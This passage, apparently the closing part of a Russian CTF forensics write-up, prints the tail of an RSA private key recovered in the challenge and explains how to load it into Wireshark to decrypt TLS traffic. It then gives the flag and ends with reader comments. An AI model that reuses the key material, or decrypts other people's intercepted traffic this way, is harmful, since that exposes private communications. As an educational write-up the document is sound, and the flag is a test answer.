EUlFMvsdev3u8teRzutDpwKBgQCjldG5rLdLKhLgXRLOGaj8JoVCytcYNvPZPYiL
5qYc41sfXhW3UbkxVWb2RaC77sTWlot5Dh4fk1vPajSwbqPrGI/PEnxaH6+Wa3Ek
OjDmjBofByXSqIDSRE1hbqnG9gxV1RnJ9asJAlaBH793Nc3anyg3G+EEGfjkARHX
3ufUBwKBgBzmIWen3g5kxbFLFTfS0iutwCrJxW1hE3WZqcJbbrXMrSVirdRYksRs
zZR9qdRl80iRfarXc1e4DqBo5aVKSJYeJZD/+5SIji1NabVVfsHZYC3hvKEBJ/aC
4GSpa2JLlRpnqXgovt21tt2bZ64TD1E6d8P12AoiRGjqBLGFee04
-----END RSA PRIVATE KEY-----
Подгружаем ключ в Wireshark и смотрим трафик после декрипта (Prefences > Protocols > SSL > RSA keys list > Edit >):
IP address: 10.1.2.15
Port:1337
Protocol: Data
Key File: <private key>
Password: <password>
Далее анализируем содержимое TLS пакетов:
Готово!
Ответ: ctfzone{ControlIsAnI11us10n}
Вот примерно таким образом можно было получить 1950 баллов за форензику. Если вам что-то непонятно – задавайте вопросы в комментариях или в телеграм, мы на связи днем и ночью!
Райтапы по остальным направлениям также скоро появятся в нашем блоге, так что следите за обновлениями. А пока можете применить новые знания по ссылке – там как раз много форензики ;)
Поделиться с друзьями
Gorodnya
Написал в комментариях к посту, напишу и тут.
Радует, что некоторые задания можно решить несколькими способами.
Например, в Forensics 50 — PCAP master я просто открыл файл task_forensics_50.pcap текстовым редактором и вбил в поиск «pass» )
P.S.: Спасибо за квест, жду ещё)
vadimmaslikhin
Очень рады, что Вам понравилось)
Будем работать в этом направлении, глядишь, что толковое и выйдет.